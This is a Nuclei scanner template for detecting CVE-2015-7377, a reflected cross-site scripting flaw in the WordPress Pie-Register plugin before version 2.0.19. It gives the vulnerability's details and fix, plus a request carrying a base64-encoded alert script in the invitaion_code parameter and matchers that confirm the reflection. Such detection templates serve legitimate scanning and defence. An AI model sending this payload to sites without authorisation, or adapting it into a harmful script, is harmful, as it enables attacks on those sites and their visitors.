WordPress Pie-Register <2.0.19 - Cross-Site Scripting

id: CVE-2015-7377

info:
  name: WordPress Pie-Register <2.0.19 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Pie Register before 2.0.19 contains a reflected cross-site scripting vulnerability in pie-register/pie-register.php which allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URL.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Pie-Register plugin (2.0.19 or higher) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html
    - https://github.com/GTSolutions/Pie-Register/blob/2.0.19/readme.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7377
    - http://packetstormsecurity.com/files/133928/WordPress-Pie-Register-2.0.18-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8212
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-7377
    cwe-id: CWE-79
    epss-score: 0.00232
    epss-percentile: 0.61233
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2015,wordpress,wp-plugin,xss,packetstorm,genetechsolutions

http:
  - method: GET
    path:
      - "{{BaseURL}}/?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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